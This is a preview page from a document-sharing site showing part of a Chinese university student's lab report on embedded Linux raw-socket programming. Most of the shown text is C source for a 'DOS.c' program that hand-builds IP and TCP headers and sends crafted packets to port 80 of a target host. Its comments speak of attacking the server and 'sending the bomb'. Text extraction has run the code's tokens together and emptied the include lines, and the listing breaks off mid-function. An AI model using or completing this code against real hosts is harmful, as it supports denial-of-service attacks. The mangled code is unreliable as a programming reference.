嵌入式linux系統(tǒng)高級(jí)編程實(shí)驗(yàn)報(bào)告10

嵌入式linux系統(tǒng)高級(jí)編程實(shí)驗(yàn)報(bào)告10

ID:13620551

大?。?8.00 KB

頁數(shù):9頁

時(shí)間:2018-07-23

嵌入式linux系統(tǒng)高級(jí)編程實(shí)驗(yàn)報(bào)告10_第1頁
嵌入式linux系統(tǒng)高級(jí)編程實(shí)驗(yàn)報(bào)告10_第2頁
嵌入式linux系統(tǒng)高級(jí)編程實(shí)驗(yàn)報(bào)告10_第3頁
嵌入式linux系統(tǒng)高級(jí)編程實(shí)驗(yàn)報(bào)告10_第4頁
嵌入式linux系統(tǒng)高級(jí)編程實(shí)驗(yàn)報(bào)告10_第5頁
資源描述:

《嵌入式linux系統(tǒng)高級(jí)編程實(shí)驗(yàn)報(bào)告10》由會(huì)員上傳分享,免費(fèi)在線閱讀,更多相關(guān)內(nèi)容在教育資源-天天文庫。

1、湖北第二師范學(xué)院計(jì)算機(jī)學(xué)院實(shí)驗(yàn)報(bào)告實(shí)驗(yàn)報(bào)告單課程名稱:《嵌入式Linux系統(tǒng)高級(jí)編程》學(xué)號(hào):1250312025姓名:郝耀峰班級(jí):12計(jì)科3班院系:計(jì)算機(jī)學(xué)院專業(yè):計(jì)算機(jī)科學(xué)與技術(shù)實(shí)驗(yàn)室:S4310同組人:無組號(hào):無輔導(dǎo)老師:丁松實(shí)驗(yàn)項(xiàng)目編號(hào):8103104010實(shí)驗(yàn)項(xiàng)目名稱:IP層通信日期:@計(jì)算機(jī)工程系湖北第二師范學(xué)院計(jì)算機(jī)學(xué)院實(shí)驗(yàn)報(bào)告一、實(shí)驗(yàn)?zāi)康?.掌握IP層通信原理2.掌握面向連接和面向無連接的網(wǎng)絡(luò)通信二、實(shí)驗(yàn)環(huán)境RedHatLinuxServer6.0(64位)三、實(shí)驗(yàn)原理(或要求)實(shí)驗(yàn)1篡改IP包頭部地址,進(jìn)行拒絕服務(wù)式攻擊實(shí)驗(yàn)2模擬ping程序(i

2、cmp編程)根據(jù)ICMP協(xié)議,編寫一個(gè)類似ping的程序,具體的要求是:程序發(fā)出一個(gè)ICMP包到目的IP,然后等待接收回應(yīng)的包(echo)四、實(shí)驗(yàn)步驟(原始套接字編程)實(shí)驗(yàn)1篡改IP包頭部地址,進(jìn)行拒絕服務(wù)式攻擊/********************DOS.c*****************/#include#include#include#include#include#include#include#include#include#defineDESTPORT80/*要攻擊的端口(WEB)*/#defineLOCALPORT8888voidsend_t

3、cp(intsockfd,structsockaddr_in*addr);unsignedshortcheck_sum(unsignedshort*addr,intlen);intmain(intargc,char**argv){intsockfd;structsockaddr_inaddr;structhostent*host;@計(jì)算機(jī)工程系湖北第二師范學(xué)院計(jì)算機(jī)學(xué)院實(shí)驗(yàn)報(bào)告inton=1;if(argc!=2){fprintf(stderr,"Usage:%shostnamea",argv[0]);exit(1);}bzero(&addr,sizeof

4、(structsockaddr_in));addr.sin_family=AF_INET;addr.sin_port=htons(DESTPORT);inet_aton(argv[1],&addr.sin_addr)//注意argv[1]為你要攻擊的服務(wù)器地址/****使用IPPROTO_TCP創(chuàng)建一個(gè)TCP的原始套接字****/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);/********設(shè)置IP數(shù)據(jù)包格式,告訴系統(tǒng)內(nèi)核模塊IP數(shù)據(jù)包由我們自己來填寫***/setsockopt(sockfd,IPPROTO_IP,I

5、P_HDRINCL,&on,sizeof(on));/****只用超級(jí)護(hù)用戶才可以使用原始套接字*********/setuid(getpid());/*********發(fā)送炸彈了!!!!****/send_tcp(sockfd,&addr);}/*******發(fā)送欺騙包的實(shí)現(xiàn)*********/voidsend_tcp(intsockfd,structsockaddr_in*addr){charbuffer[100];/****用來放置我們的數(shù)據(jù)包****/structip*ip;structtcphdr*tcp;inthead_len;/*******我們的

6、數(shù)據(jù)包實(shí)際上沒有任何內(nèi)容,所以長度就是兩個(gè)結(jié)構(gòu)的長度***/head_len=sizeof(structip)+sizeof(structtcphdr);bzero(buffer,100);/********填充IP數(shù)據(jù)包的頭部,還記得IP的頭格式嗎?******/ip=(structip*)buffer;ip->ip_v=IPVERSION;/**版本一般的是4**/ip->ip_hl=sizeof(structip)>>2;/**IP數(shù)據(jù)包的頭部長度**/ip->ip_tos=0;/**服務(wù)類型**/ip->ip_len=htons(head_len);/*

7、*IP數(shù)據(jù)包的長度**/ip->ip_id=0;/**讓系統(tǒng)去填寫吧**/ip->ip_off=0;/**和上面一樣,省點(diǎn)時(shí)間**/ip->ip_ttl=MAXTTL;/**最長的時(shí)間255**/ip->ip_p=IPPROTO_TCP;/**我們要發(fā)的是TCP包**/ip->ip_sum=0;/**校驗(yàn)和讓系統(tǒng)去做**/ip->ip_dst=addr->sin_addr;/**我們攻擊的對(duì)象**//*******開始填寫TCP數(shù)據(jù)包*****/tcp=(structtcphdr*)(buffer+sizeof(structip));@計(jì)算機(jī)工程系湖北第二師范學(xué)

8、院計(jì)算機(jī)學(xué)院實(shí)驗(yàn)報(bào)告tc

當(dāng)前文檔最多預(yù)覽五頁,下載文檔查看全文

此文檔下載收益歸作者所有

當(dāng)前文檔最多預(yù)覽五頁,下載文檔查看全文
溫馨提示:
1. 部分包含數(shù)學(xué)公式或PPT動(dòng)畫的文件,查看預(yù)覽時(shí)可能會(huì)顯示錯(cuò)亂或異常,文件下載后無此問題,請(qǐng)放心下載。
2. 本文檔由用戶上傳,版權(quán)歸屬用戶,天天文庫負(fù)責(zé)整理代發(fā)布。如果您對(duì)本文檔版權(quán)有爭議請(qǐng)及時(shí)聯(lián)系客服。
3. 下載前請(qǐng)仔細(xì)閱讀文檔內(nèi)容,確認(rèn)文檔內(nèi)容符合您的需求后進(jìn)行下載,若出現(xiàn)內(nèi)容與標(biāo)題不符可向本站投訴處理。
4. 下載文檔時(shí)可能由于網(wǎng)絡(luò)波動(dòng)等原因無法下載或下載錯(cuò)誤,付費(fèi)完成后未能成功下載的用戶請(qǐng)聯(lián)系客服處理。